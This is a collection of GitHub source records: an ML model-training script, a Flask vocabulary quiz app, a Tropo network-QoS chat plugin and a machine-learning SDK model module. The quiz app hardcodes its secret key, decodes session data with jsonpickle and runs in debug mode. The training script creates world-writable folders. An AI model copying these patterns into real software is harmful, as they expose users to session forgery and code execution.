help=(\"Number of Cross Validations \"),\n )\n\n parser.add_argument(\n \"n_iter\",\n type=int,\n nargs='?',\n default=3,\n help=(\"Number of iteration\"),\n )\n\n args = parser.parse_args()\n\n return args\n\n\ndef save_model(model_name, model, auc_roc):\n \"\"\"\n Saves the model into a pickle file if it superates a treshold of 0.62 in auc roc.\n\n Parameters\n ----------\n model_name : str\n Name of the model.\n model : object\n Machine learning model.\n auc_roc : float\n\n \"\"\"\n if auc_roc > 0.62:\n try:\n auc_roc = round(auc_roc, 5)\n path = os.path.join(\"model/Experiments/\", f\"{model_name}_{auc_roc}\")\n if not os.path.exists(path):\n # Creates a folder to save the model\n print(\"Model with same scoring does not exist\")\n os.umask(0)\n os.makedirs(path, mode=0o777)\n with open(f\"{path}/{model_name}.{auc_roc}.pickle\", \"wb\") as file:\n pickle.dump(model, file)\n try:\n model_results = pd.DataFrame(model.cv_results_).sort_values(\n by=\"rank_test_score\", ascending=True\n )\n model_results.to_csv(f\"{path}/{model_name}.{auc_roc}.csv\")\n except:\n print(\"Model does not use a grid search object\")\n print(f\"Model {model_name} saved\")\n else:\n print(\"The same score model already exists\")\n except Exception as ex:\n print(f\"Error saving the model, error {type(ex).__name__}, {ex.args}\")\n else:\n print(f\"Model score {auc_roc} is to low to be saved.\")\n\n\ndef select_model(model_name):\n \"\"\"\n Receives a Machine Learning model name and select it from others.\n\n Parameters\n ----------\n model_name : str\n Name for the ML model to be selected.\n\n Returns\n -------\n model = object\n ML model.\n \"\"\"\n print(f\"Selecting model: {model_name}\")\n model_name = model_name.lower()\n try:\n if model_name == \"logistic\":\n model = LogisticRegression(solver=\"lbfgs\", max_iter=1000)\n elif model_name == \"lightgbm\":\n model = lgb.LGBMClassifier()\n elif model_name == \"randomforest\":\n model = RandomForestClassifier()\n elif model_name == \"adaboost\":\n model = AdaBoostClassifier(n_estimators=100)\n elif model_name == \"xgboost\":\n model = XGBClassifier(\n objective=\"binary:logistic\",\n booster=\"gbtree\",\n eval_metric=\"auc\",\n tree_method=\"hist\",\n grow_policy=\"lossguide\",\n use_label_encoder=False,\n )\n elif model_name == \"catboost\":\n model = CatBoostClassifier()\n elif model_name == \"neuronalnetwork\":\n model = Sequential()\n model.add(Dense(743, input_shape=(743,), activation='relu'))\n model.add(Dense(743,activation=\"relu\"))\n model.add(Dense(1, activation='sigmoid'))\n # Compile model\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['AUC'])\n return model\n\n\n\n\n\n \n elif model_name == \"enssemble\":\n clf1 = RandomForestClassifier(random_state=1)\n clf2 = lgb.LGBMClassifier(random_state=1)\n clf3 = XGBClassifier()\n clf4 = GaussianNB()\n clf5 = CatBoostClassifier(\n depth=6, iterations=100, learning_rate=0.05, random_state=1\n )\n eclf = VotingClassifier(\n estimators=[\n (\"rf\", clf1),\n (\"lg\", clf2),\n (\"xgb\", clf3),\n (\"gnb\", clf4),\n (\"cat\", clf5),\n ],\n voting=\"soft\",\n weights=[1, 2, 2, 1, 1],\n )\n model = eclf\n\n except:\n print(\"No model was found\")\n return model\n\n\ndef get_grid(model_name):\n \"\"\"\n Receives a model name and returns a grid of hyperparameters..\n\n Parameters\n ----------\n model_name : str\n Name of de model.\n\n Returns\n -------\n grid : Dict\n\n \"\"\"\n print(\"Getting grid of values\")\n model_name = model_name.lower()\n try:\n if model_name == \"lightgbm\":\n grid = grid_config.LIGHTGBM\n elif model_name == \"randomforest\":\n grid = grid_config.RANDOM_FOREST\n elif model_name == \"enssemble\":\n grid = grid_config.ENSSEMBLE\n elif model_name == \"xgboost\":\n grid = grid_config.XGBOOST\n elif model_name == \"catboost\":\n grid = grid_config.CATBOOST\n except:\n print(\"No grid was found\")\n\n return grid\n\n\ndef train(path_to_csv, grid_search, model_name, cross_validation, n_iter):\n \"\"\"\n Train one model choosen by the user, using or not grid search\n with the data from the path. Also shows the model´s metrics.\n Finally if the model´s metrics are good enough, saves the model into a pickle object.\n\n\n Parameters\n ----------\n path_to_csv : str\n grid_search : str\n model_name : str\n cross_validation : int\n n_iter : int\n\n \"\"\"\n X_train, x_test, y_train, y_test = get_data_preprocessed(path_to_csv)\n print(X_train.shape)\n \n\n \n model = select_model(model_name)\n\n if grid_search == \"Si\":\n model_grid_search = RandomizedSearchCV(\n model,\n param_distributions=get_grid(model_name),\n random_state=10,\n scoring=\"roc_auc\",\n cv=cross_validation,\n n_iter=n_iter,\n verbose=3,\n )\n model = model_grid_search.fit(\n X_train,\n y_train,\n )\n y_predict = model.predict(x_test)\n else:\n if model_name == 'neuronalnetwork':\n model.fit(X_train, y_train, epochs = 5, batch_size = 500)\n print('neuronal_network')\n y_predict_proba = model.predict(x_test)\n y_predict = np.where(y_predict_proba > 0.5, 1, 0)\n else:\n model.fit(X_train, y_train,)\n y_predict = model.predict(x_test)\n \n\n roc_auc_score = get_roc(model, y_test, x_test)\n print(f\"Result {roc_auc_score}\")\n get_performance(y_test, y_predict)\n\n save_model(model_name, model, roc_auc_score)\n\n\nif __name__ == \"__main__\":\n # Now launch process\n print(\"Launching ML service...\")\n args = parse_args()\n train(args.from_folder, args.grid_search, args.model_name, args.cross_validation, args.n_iter)\n","repo_name":"francomedin/credit_risk_infra","sub_path":"model/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12573171840","text":"from flask import Flask, render_template, request, redirect, url_for, session\nimport csv\nimport random\nimport jsonpickle\n\napp = Flask(__name__)\napp.secret_key = 'sbdajhsb3423bjdjkjv3i4rrka'\napp.config['SESSION_PERMANENT'] = False\napp.config['SESSION_TYPE'] = 'filesystem'\n\nclass Quiz:\n def __init__(self, filename):\n self.filename = filename\n self.questions = []\n self.score = 0\n self.num_questions = 0\n self.question_num = 0\n self.num = 0\n\n def load_questions(self, num):\n self.num = num\n with open(self.filename, newline='') as csvfile:\n reader = csv.reader(csvfile)\n self.questions = random.choices(list(reader), k=self.num)\n\n self.num_questions = len(self.questions)\n\n def ask_question(self):\n question = self.questions[self.question_num][0]\n meanings = self.questions[self.question_num][1].split(';')\n #correct_answer = random.choice(meanings)\n correct_answer = meanings[0]\n options = [correct_answer]\n\n while len(options) < 5:\n option = random.choice(self.questions)[1].split(';')[0]\n if option not in options:\n options.append(option)\n\n random.shuffle(options)\n\n return question, options, correct_answer, self.num_questions\n\n def evaluate_answer(self, answer, options):\n question, _, correct_answer,_ = self.ask_question()\n self.question_num += 1\n if options[int(answer)-1] == correct_answer:\n self.score += 1\n feedback = \"Correct!\"\n else:\n feedback = \"Incorrect\"\n\n if self.question_num > self.num_questions:\n return question, feedback, correct_answer,True\n else:\n return question, feedback, correct_answer, False\n\n def run(self, num):\n self.load_questions(num)\n self.question_num = 0\n self.score = 0\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n return render_template('index.html')\n\n\n@app.route('/start', methods=['GET', 'POST'])\ndef start():\n num = request.form.get('num_questions', type=int)\n quiz = jsonpickle.decode(session['quiz'])\n if num is None:\n num = quiz.num\n session.pop('quiz', None)\n quiz = Quiz('words.csv')\n quiz.run(num)\n session['quiz'] = jsonpickle.encode(quiz)\n return redirect(url_for('question', question_num=quiz.question_num))\n\n\n@app.route('/question', methods=['GET', 'POST'])\ndef question():\n if 'quiz' not in session:\n return redirect(url_for('index'))\n quiz = jsonpickle.decode(session['quiz'])\n question, options, _, total_questions = quiz.ask_question()\n return render_template('question.html', question=question, options=options, question_num=quiz.question_num, total_questions=total_questions)\n\n\n@app.route('/answer/', methods=['GET', 'POST'])\ndef answer(options):\n options = options.split('&')\n if 'quiz' not in session:\n return redirect(url_for('index'))\n \n answer = request.form['answer']\n quiz = jsonpickle.decode(session['quiz'])\n question, feedback, correct_answer, end_of_quiz = quiz.evaluate_answer(answer, options)\n value = quiz.num_questions - quiz.question_num\n if end_of_quiz:\n return redirect(url_for('result'))\n else:\n session['quiz'] = jsonpickle.encode(quiz)\n return render_template('answer.html', question=question, options=options, feedback=feedback, correct_answer=correct_answer, end_of_quiz=value)\n\n\n@app.route('/result', methods=['GET', 'POST'])\ndef result():\n if 'quiz' not in session:\n return redirect(url_for('index'))\n quiz = jsonpickle.decode(session['quiz'])\n score = quiz.score\n num_questions = quiz.num_questions\n return render_template('result.html', score=score, num_questions=num_questions)\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=5000)\n","repo_name":"SaileshP97/Vocabulary-quiz","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":3893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70704063872","text":"\"\"\"\nTropo Scripting API uses Python 2; tested with Python 2.7.10\n\"\"\"\n\nimport urllib\nimport urllib2\nimport sys\nimport json\n\napp_url = \"http://edqos.apps.imapex.io\"\n\n# Change me to True if you are deploying/testing on Tropo\ntropo = False\n\ndef get_policy_tags():\n r = urllib2.urlopen(app_url+\"/api/policy_tags/\")\n response = r.read()\n JSON_object = json.loads(response)\n return JSON_object\n\ndef get_applications(search):\n if not search:\n return \"Missing search string\"\n else:\n r = urllib2.urlopen(app_url + \"/api/applications/?search=\"+search)\n response = r.read()\n JSON_object = json.loads(response)\n return JSON_object\n\ndef get_relevance(app_name, policy_scope):\n if not app_name:\n return \"Missing search string\"\n elif not policy_scope:\n return \"Missing policy tag\"\n else:\n r = urllib2.urlopen(app_url + \"/api/relevance/?app=\"+app_name+\"&policy=\"+policy_scope)\n response = r.read()\n JSON_object = json.loads(response)\n return JSON_object\n\ndef set_relevance(app_name, policy_scope, target_relevance):\n valid_relevance = [\"Business-Relevant\", \"Default\", \"Business-Irrelevant\"]\n if not app_name:\n return \"Missing search string\"\n elif not policy_scope:\n return \"Missing policy tag\"\n elif target_relevance not in valid_relevance:\n return \"Invalid or missing target relevance\"\n else:\n data = urllib.urlencode({'app': app_name, 'policy': policy_scope, 'relevance': target_relevance})\n data = data.encode('ascii')\n r = urllib2.urlopen(app_url+\"/api/relevance/\", data)\n response = r.read()\n JSON_object = json.loads(response)\n return JSON_object\n\n\ndef main():\n if tropo is True:\n if len(currentCall.initialText) > 0:\n # Welcome message\n say(\"Welcome to the Event Driven QoS Tropo Plugin\")\n else:\n sys.exit(\"No incoming message\")\n else:\n print(\"Welcome to the Event Driven QoS Tropo Plugin\")\n\n # Get policy tags\n policy_tags = get_policy_tags()\n if not policy_tags:\n sys.exit(\"Unable to get policy tags\")\n elif len(policy_tags) == 0:\n sys.exit(\"No policy tags defined in APIC EM\")\n\n # Create string of policy tags\n policy_string = ', '.join(policy_tags)\n\n while True:\n # Ask what policy tag to use\n if tropo is True:\n policy_scope = ask(\"What Policy Tag should we use? Chose: \"+policy_string, {\n \"choices\":policy_string,\n \"timeout\":30.0})\n else:\n policy_scope = raw_input(\"What Policy Tag should we use? Chose: \" + policy_string)\n\n if policy_scope not in policy_tags:\n print(\"Policy scope provided is not valid\")\n say(\"Policy scope provided is not valid\") if tropo is True else None\n else:\n break\n\n # Ask for application search string\n # todo Can ask() support open-ended SMS responses?\n if tropo is True:\n app_search = ask(\"What application do you wish to modify?\", {\n \"choices\":\"[ANY]\",\n \"timeout\":30.0})\n else:\n app_search = raw_input(\"What application do you wish to modify?\")\n\n app_names = get_applications(app_search)\n if len(app_names) == 1:\n app_name = app_names[0]\n elif len(app_names) > 1:\n app_string = ', '.join(app_names)\n while True:\n if tropo is True:\n app_name = ask(\"Multiple applications matched your search. Which app would you like to modify? Chose: \" + app_string, {\n \"choices\":app_string,\n \"timeout\":30.0})\n else:\n app_name = raw_input(\n \"Multiple applications matched your search. Which app would you like to modify? Chose: \" + app_string)\n\n if app_name not in app_names:\n print(\"Application name is not valid\")\n say(\"Application name is not valid\") if tropo is True else None\n else:\n break\n else:\n print(\"Sorry, no applications matched your search\")\n say(\"Sorry, no applications matched your search\") if tropo is True else None\n sys.exit(\"No applications matched search\")\n\n # Print current relevance\n print(\"{} is currently listed as {}\".format(app_name, get_relevance(app_name, policy_scope)))\n say(\"{} is currently listed as {}\".format(app_name, get_relevance(app_name, policy_scope))) if tropo is True else None\n\n # Ask what relevance we want to set\n valid_relevance = [\"Business-Relevant\", \"Default\", \"Business-Irrelevant\"]\n relevance_string = ', '.join(valid_relevance)\n while True:\n if tropo is True:\n target_relevance = ask(\"What relevance would you like to set? Chose: \"+relevance_string, {\n \"choices\":relevance_string,\n \"timeout\":30.0})\n else:\n target_relevance = raw_input(\"What relevance would you like to set? Chose: \" + relevance_string)\n if target_relevance not in valid_relevance:\n print(\"Sorry, specified relevance level is not valid\")\n say(\"Sorry, specified relevance level is not valid\") if tropo is True else None\n else:\n break\n\n # Reset relevance\n relevance_task = set_relevance(app_name, policy_scope, target_relevance)\n if relevance_task:\n print(\"Policy change was successful. {} is now set to {}\".format(app_name, target_relevance))\n say(\"Policy change was successful. {} is now set to {}\".format(app_name, target_relevance)) if tropo is True else None\n else:\n print(\"Sorry, there was a problem changing the policy.\")\n say(\"Sorry, there was a problem changing the policy.\") if tropo is True else None\n\n if tropo is True:\n hangup()\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"imapex/edqos_plugins","sub_path":"tropo/edqos_text.py","file_name":"edqos_text.py","file_ext":"py","file_size_in_byte":5992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38124174583","text":"import enum\nimport json\nfrom datetime import datetime\nfrom typing import Any, Dict, List\n\nimport pandas as pd\n\nfrom ..auth import Credentials\nfrom ..error import DeepintBaseError\nfrom ..util import handle_request, parse_date, parse_url\nfrom .source import FeatureType, SourceFeature\n\n\nclass ModelType(enum.Enum):\n \"\"\"Available model types in the system.\n \"\"\"\n\n classifier = 0\n regressor = 1\n unknown = 2\n\n @classmethod\n def from_string(cls, _str: str) -> 'ModelType':\n \"\"\"Builds the :obj:`deepint.core.model.ModelType` from a :obj:`str`.\n\n Args:\n _str: name of the model type.\n\n Returns:\n the model type converted to :obj:`deepint.core.model.ModelType`.\n \"\"\"\n return cls.unknown if _str not in [e.name for e in cls] else cls[_str]\n\n @classmethod\n def all(cls) -> List[str]:\n \"\"\" Returns all available model types serialized to :obj:`str`.\n\n Returns:\n all available model types.\n \"\"\"\n return [e.name for e in cls]\n\n\nclass ModelMethod(enum.Enum):\n \"\"\"Available model methods in the system.\n \"\"\"\n\n bayes = 0\n forest = 1\n gradient = 2\n logistic = 3\n linear = 4\n mlp = 5\n neighbors = 6\n sv = 7\n tree = 8\n xgb = 9\n unknown = 10\n\n @classmethod\n def from_string(cls, _str: str) -> 'ModelMethod':\n \"\"\"Builds the :obj:`deepint.core.model.ModelMethod` from a :obj:`str`.\n\n Args:\n _str: name of the model method.\n\n Returns:\n the model method converted to :obj:`deepint.core.model.ModelMethod`.\n \"\"\"\n return cls.unknown if _str not in [e.name for e in cls] else cls[_str]\n\n @classmethod\n def all(cls) -> List[str]:\n \"\"\" Returns all available model methods serialized to :obj:`str`.\n\n Returns:\n all available model methods.\n \"\"\"\n return [e.name for e in cls]\n\n @classmethod\n def allowed_methods_for_type(cls, model_type: ModelType) -> List['ModelMethod']:\n \"\"\"Returns a list with the allowed model methods for a model type.\n\n Args:\n model_type: type of model to know about the allowed methods\n\n Returns:\n the model methods allowed for the given model type.\n \"\"\"\n if model_type == ModelType.classifier:\n return [cls.bayes, cls.forest, cls.gradient, cls.logistic, cls.mlp, cls.neighbors, cls.sv, cls.tree,\n cls.xgb]\n elif model_type == ModelType.regressor:\n return [cls.forest, cls.gradient, cls.linear, cls.mlp, cls.neighbors, cls.sv, cls.tree, cls.xgb]\n\n\nclass ModelFeature:\n \"\"\" Stores the index, name, type and stats of a model feature associated with a deepint.net model.\n\n Attributes:\n index: Feature index, starting with 0.\n name: Feature name (max 120 characters).\n input_type: The type of the feature. Must be one of the values given in :obj:`deepint.core.model.FeatureType`.\n \"\"\"\n\n def __init__(self, name: str, input_type: FeatureType, index: int = None) -> None:\n\n if name is not None and not isinstance(name, str):\n raise ValueError('name must be str')\n\n if input_type is not None and (not isinstance(input_type, FeatureType) and not isinstance(input_type, int)):\n raise ValueError('input_type must be FeatureType')\n\n if index is not None and not isinstance(index, int):\n raise ValueError('index must be int')\n\n self.name = name\n self.index = index\n self.input_type = input_type\n\n def __eq__(self, other):\n if other is not None and not isinstance(other, SourceFeature):\n return False\n else:\n d1, d2, = self.to_dict(), other.to_dict()\n for k in d1:\n if d1[k] != d2[k]:\n return False\n return True\n\n def __str__(self):\n return ''\n\n @staticmethod\n def from_dict(obj: Any, index: int = None) -> 'ModelFeature':\n \"\"\"Builds a ModelFeature with a dictionary.\n\n Args:\n obj: :obj:`object` or :obj:`dict` containing the a serialized ModelFeature.\n\n Returns:\n ModelFeature containing the information stored in the given dictionary.\n \"\"\"\n\n if obj is None:\n name = None\n input_type = FeatureType.unknown\n else:\n name = obj.get(\"name\")\n input_type = FeatureType.from_string(obj.get(\"type\"))\n return ModelFeature(name, input_type, index=index)\n\n def to_dict(self) -> Dict[str, Any]:\n \"\"\"Builds a dictionary containing the information stored in current object.\n\n Returns:\n dictionary containing the information stored in the current object.\n \"\"\"\n\n return {\"name\": self.name, \"type\": self.input_type.name}\n\n\nclass ModelInfo:\n \"\"\"Stores the information of a Deep Intelligence model.\n\n Attributes:\n model_id: model's id in format uuid4.\n name: model's name.\n description: model's description.\n model_type: type of model (classifier or regressor).\n method: method for prediction (bayes, logistic, forest, etc.).\n created: creation date.\n last_modified: last modified date.\n last_access: last access date.\n size_bytes: source size in bytes.\n source_train: source used to train the model.\n configuration: advanced model configuration\n \"\"\"\n\n def __init__(self, model_id: str, name: str, description: str, model_type: ModelType, method: ModelMethod,\n created: datetime, last_modified: datetime, last_access: datetime, source_train: str,\n configuration: dict, size_bytes: int) -> None:\n\n if model_id is not None and not isinstance(model_id, str):\n raise ValueError('model_id must be str')\n\n if name is not None and not isinstance(name, str):\n raise ValueError('name must be str')\n\n if description is not None and not isinstance(description, str):\n raise ValueError('description must be str')\n\n if model_type is not None and (not isinstance(model_type, ModelType) and not isinstance(model_type, int)):\n raise ValueError('model_type must be ModelType')\n\n if method is not None and (not isinstance(method, ModelMethod) and not isinstance(method, int)):\n raise ValueError('method must be ModelMethod')\n\n if created is not None and not isinstance(created, datetime):\n raise ValueError('created must be datetime.datetime')\n\n if last_modified is not None and not isinstance(last_modified, datetime):\n raise ValueError('last_modified must be datetime.datetime')\n\n if last_access is not None and not isinstance(last_access, datetime):\n raise ValueError('last_access must be datetime.datetime')\n\n if source_train is not None and not isinstance(source_train, str):\n raise ValueError('source_train must be str')\n\n if configuration is not None and not isinstance(configuration, dict):\n raise ValueError('configuration must be dict')\n\n if size_bytes is not None and not isinstance(size_bytes, int):\n raise ValueError('size_bytes must be int')\n\n self.model_id = model_id\n self.name = name\n self.description = description\n self.model_type = model_type\n self.method = method\n self.created = created\n self.last_modified = last_modified\n self.last_access = last_access\n self.source_train = source_train\n self.configuration = configuration\n self.size_bytes = size_bytes\n\n def __eq__(self, other):\n if other is not None and not isinstance(other, ModelInfo):\n return False\n else:\n return self.model_id == other.model_id\n\n def __str__(self):\n return ' '.join([f'{k}={v}' for k, v in self.to_dict().items()])\n\n @staticmethod\n def from_dict(obj: Any) -> 'ModelInfo':\n \"\"\"Builds a ModelInfo with a dictionary.\n\n Args:\n obj: :obj:`object` or :obj:`dict` containing the a serialized ModelInfo.\n\n Returns:\n ModelInfo containing the information stored in the given dictionary.\n \"\"\"\n\n model_id = obj.get(\"id\")\n name = obj.get(\"name\")\n description = obj.get(\"description\")\n model_type = ModelType.from_string(obj.get(\"type\"))\n method = ModelMethod.from_string(obj.get(\"method\"))\n created = parse_date(obj.get(\"created\"))\n last_modified = parse_date(obj.get(\"last_modified\"))\n last_access = parse_date(obj.get(\"last_access\"))\n source_train = obj.get(\"source_train\")\n configuration = obj.get(\"configuration\")\n size_bytes = int(obj.get(\"size_bytes\"))\n return ModelInfo(model_id, name, description, model_type, method, created, last_modified, last_access,\n source_train, configuration, size_bytes)\n\n def to_dict(self) -> Dict[str, Any]:\n \"\"\"Builds a dictionary containing the information stored in current object.\n\n Returns:\n dictionary containing the information stored in the current object.\n \"\"\"\n\n return {\"id\": self.model_id, \"name\": self.name, \"description\": self.description,\n \"type\": self.model_type.name, \"method\": self.method.name, \"created\": self.created.isoformat(),\n \"last_modified\": self.last_modified.isoformat(), \"last_access\": self.last_access.isoformat(),\n \"source_train\": self.source_train, \"configuration\": self.configuration,\n \"size_bytes\": self.size_bytes}\n\n\nclass ModelPredictions:\n \"\"\"Operates over the prediction options of a concrete model.\n\n Note: This class should not be instanced, and only be used within an :obj:`deepint.core.model.Model`\n\n Attributes:\n model: the model with which to operate with its predictions\n \"\"\"\n\n def __init__(self, model: 'Model'):\n\n self.model = model\n\n def evaluation(self) -> Dict[str, Any]:\n \"\"\"Retrieves a model's evaluation.\n\n Returns:\n a dictionary contianing the model's evaluation\n \"\"\"\n\n # request\n path = f'/api/v1/workspace/{self.model.workspace_id}/models/{self.model.info.model_id}/evaluation'\n headers = {'x-deepint-organization': self.model.organization_id}\n response = handle_request(\n method='GET', path=path, headers=headers, credentials=self.model.credentials)\n\n return response\n\n def predict(self, data: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Uses a model to predict a single input.\n\n Note: The maximum number of instances to evaluate at once is one. For the evaluation of more instances,\n check the :obj:`deepint.core.model.ModelPredictions.predict_batch`\n\n Args:\n data: data to be used as prediction inputs. The column names must correspond to the model's input feature names.\n\n Returns:\n a copy of the given input data with a new column with the prediction (output features) performed\n \"\"\"\n\n # check\n if data is not None and not isinstance(data, pd.DataFrame):\n raise DeepintBaseError(\n code='TYPE_MISMATCH', message='The provided input is not a DataFrame.')\n elif data.empty or data is None:\n raise DeepintBaseError(\n code='EMPTY_DATA', message='The provided DataFrame is empty.')\n elif len(data) > 1:\n raise DeepintBaseError(\n code='LARGE_DATA', message='The provided DataFrame must have a lenght of 1')\n elif len(data.columns) != len(self.model.input_features):\n raise DeepintBaseError(code='INPUTS_MISMATCH',\n message='The provided DataFrame must have same number of columns as current model\\'s features.')\n else:\n for c in data.columns:\n if c not in [f.name for f in self.model.input_features]:\n raise DeepintBaseError(code='INPUTS_MISMATCH',\n message='The provided DataFrame columns must have same names as the model\\'s features.')\n\n # prepare inputs\n try:\n data = data.where(pd.notnull(data), None)\n instance = data.to_dict(orient='records')[0]\n inputs = json.dumps([instance[f.name]\n for f in self.model.input_features])\n except:\n raise DeepintBaseError(code='CONVERSION_ERROR',\n message='Unable to convert DataFrame to inputs array. Please, check the index, columns and the capability of serialization for the DataFrame fields.')\n\n # request\n path = f'/api/v1/workspace/{self.model.workspace_id}/models/{self.model.info.model_id}/predict'\n parameters = {'inputs': inputs}\n headers = {'x-deepint-organization': self.model.organization_id}\n response = handle_request(method='GET', path=path, headers=headers,\n parameters=parameters, credentials=self.model.credentials)\n\n # map response\n try:\n data_copy = data.copy()\n data_copy[self.model.output_features.name] = response['output']\n except:\n raise DeepintBaseError(code='CONVERSION_ERROR',\n message='Unable to convert the response to DataFrame. Please, check the model\\'s features.')\n\n return data_copy\n\n def predict_batch(self, data: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Uses a model to predict multiple inputs.\n\n The maximum number of instances to evaluate at once is 25.\n\n Args:\n data: data to be used as prediction inputs. The column names must correspond to the model's input feature names.\n\n Returns:\n a copy of the given input data with a new column with the predictions (output features) performed\n \"\"\"\n\n # check\n if data is not None and not isinstance(data, pd.DataFrame):\n raise DeepintBaseError(\n code='TYPE_MISMATCH', message='The provided input is not a DataFrame.')\n elif data.empty or data is None:\n raise DeepintBaseError(\n code='EMPTY_DATA', message='The provided DataFrame is empty.')\n elif len(data) > 25:\n raise DeepintBaseError(\n code='LARGE_DATA', message='The provided DataFrame must have a maximum lenght of 25')\n elif len(data.columns) != len(self.model.input_features):\n raise DeepintBaseError(code='INPUTS_MISMATCH',\n message='The provided DataFrame must have same number of columns as current model\\'s features.')\n else:\n for c in data.columns:\n if c not in [f.name for f in self.model.input_features]:\n raise DeepintBaseError(code='INPUTS_MISMATCH',\n message='The provided DataFrame columns must have same names as the model\\'s features.')\n\n # prepare inputs\n try:\n data = data.where(pd.notnull(data), None)\n instances = data.to_dict(orient='records')\n inputs = [{'inputs': [instance[f.name]\n for f in self.model.input_features]} for instance in instances]\n except:\n raise DeepintBaseError(code='CONVERSION_ERROR',\n message='Unable to convert DataFrame to inputs array. Please, check the index, columns and the capability of serialization for the DataFrame fields.')\n\n # request\n path = f'/api/v1/workspace/{self.model.workspace_id}/models/{self.model.info.model_id}/batch-predict'\n parameters = {'data': inputs}\n headers = {'x-deepint-organization': self.model.organization_id}\n response = handle_request(method='POST', path=path, headers=headers,\n parameters=parameters, credentials=self.model.credentials)\n\n # map response\n try:\n data_copy = data.copy()\n data_copy[self.model.output_features.name] = response['outputs']\n except:\n raise DeepintBaseError(code='CONVERSION_ERROR',\n message='Unable to convert the response to DataFrame. Please, check the model\\'s features.')\n\n return data_copy\n\n def predict_unidimensional(self, data: pd.DataFrame, variations: List[Any],\n variations_feature_name: str) -> pd.DataFrame:\n \"\"\"Uses a model to perform an unidimensional predict. Keeping all the input variables with the same value and vary one of them.\n\n Note: The maximum number of instances to evaluate at once is one (with a maximuym of 255 variations).\n\n Note: All values must be providen in the data, including the variated feature (although the last one is not going to be used).\n\n Args:\n data: data to be used as prediction inputs. The column names must correspond to the model's input feature names.\n variations: list of variations to perform over a single feature.\n variations_feature_name: name of the feature on which the variations are to be carried out\n\n Returns:\n a copy of the given input data replacing the variated feature with the list of variations, and a new column\n with the predictions (output features) performed\n \"\"\"\n\n # check\n if data is not None and not isinstance(data, pd.DataFrame):\n raise DeepintBaseError(\n code='TYPE_MISMATCH', message='The provided input is not a DataFrame.')\n elif data.empty or data is None:\n raise DeepintBaseError(\n code='EMPTY_DATA', message='The provided DataFrame is empty.')\n elif len(data) > 255:\n raise DeepintBaseError(code='LARGE_DATA',\n message='The provided DataFrame must have a maximum lenght of 255')\n elif len(data.columns) != len(self.model.input_features):\n raise DeepintBaseError(code='INPUTS_MISMATCH',\n message='The provided DataFrame must have same number of columns as current model\\'s features.')\n elif variations_feature_name not in data.columns:\n raise DeepintBaseError(code='INPUTS_MISMATCH',\n message='The provided variations column must match with input data\\'s columns.')\n else:\n for c in data.columns:\n if c not in [f.name for f in self.model.input_features]:\n raise DeepintBaseError(code='INPUTS_MISMATCH',\n message='The provided DataFrame columns must have same names as the model\\'s features.')\n\n try:\n # prepare inputs\n data = data.where(pd.notnull(data), None)\n instance = data.to_dict(orient='records')[0]\n inputs = [instance[f.name] for f in self.model.input_features]\n # variable to vary index\n variations_feature_index = \\\n [f.index for f in self.model.input_features if f.name ==\n variations_feature_name][0]\n except:\n raise DeepintBaseError(code='CONVERSION_ERROR',\n message='Unable to convert DataFrame to inputs array. Please, check the index, columns and the capability of serialization for the DataFrame fields.')\n\n # request\n path = f'/api/v1/workspace/{self.model.workspace_id}/models/{self.model.info.model_id}/predict-1d'\n headers = {'x-deepint-organization': self.model.organization_id}\n parameters = {'inputs': inputs,\n 'vary': variations_feature_index, 'values': variations}\n response = handle_request(method='POST', path=path, headers=headers,\n parameters=parameters, credentials=self.model.credentials)\n\n # map response\n try:\n data_copy = data.copy()\n data_copy = data_copy.loc[data_copy.index.repeat(\n len(variations))].reset_index(drop=True)\n data_copy[variations_feature_name] = variations\n data_copy[self.model.output_features.name] = response['outputs']\n except:\n raise DeepintBaseError(code='CONVERSION_ERROR',\n message='Unable to convert the response to DataFrame. Please, check the model\\'s features.')\n\n return data_copy\n\n\nclass Model:\n \"\"\"A Deep Intelligence model.\n\n Note: This class should not be instanced directly, and it's recommended to use the :obj:`deepint.core.model.Model.build`\n or :obj:`deepint.core.model.Model.from_url` methods.\n\n Attributes:\n organization_id: organization where model is located.\n workspace_id: workspace where model is located.\n info: :obj:`deepint.core.model.ModelInfo` to operate with model's information.\n input_features: :obj:`list` of :obj:`deepint.core.model.ModelFeature` to operate with model's input features.\n output_features: :obj:`list` of :obj:`deepint.core.model.ModelFeature` to operate with model's output features.\n predictions: :obj:`deepint.core.model.ModelPredictions` to operate with model's predictions.\n credentials: credentials to authenticate with Deep Intelligence API and be allowed to perform operations over the model. If\n not provided, the credentials are generated with the :obj:`deepint.auth.credentials.Credentials.build`.\n \"\"\"\n\n def __init__(self, organization_id: str, workspace_id: str, credentials: Credentials, info: ModelInfo,\n input_features: List[ModelFeature], output_features: ModelFeature) -> None:\n\n if organization_id is not None and not isinstance(organization_id, str):\n raise ValueError('organization_id must be str')\n\n if workspace_id is not None and not isinstance(workspace_id, str):\n raise ValueError('workspace_id must be str')\n\n if credentials is not None and not isinstance(credentials, Credentials):\n raise ValueError(f'credentials must be {Credentials.__class__}')\n\n if info is not None and not isinstance(info, ModelInfo):\n raise ValueError(f'info must be {ModelInfo.__class__}')\n\n if input_features is not None and not isinstance(input_features, list):\n raise ValueError('input_features must be list')\n\n if input_features is not None:\n for f in input_features:\n if f is not None and not isinstance(f, ModelFeature):\n raise ValueError(f'input_features must be a list of {ModelFeature.__class__}')\n\n if output_features is not None and not isinstance(output_features, list):\n raise ValueError('output_features must be list')\n\n if output_features is not None:\n for f in output_features:\n if f is not None and not isinstance(f, ModelFeature):\n raise ValueError(f'output_features must be a list of {ModelFeature.__class__}')\n\n self.organization_id = organization_id\n self.info = info\n self.credentials = credentials\n self.workspace_id = workspace_id\n self.input_features = input_features\n self.output_features = output_features\n if self.input_features is not None:\n self.input_features.sort(key=lambda x: x.index)\n self.predictions = ModelPredictions(self)\n\n def __str__(self):\n return f''\n\n def __eq__(self, other):\n if other is not 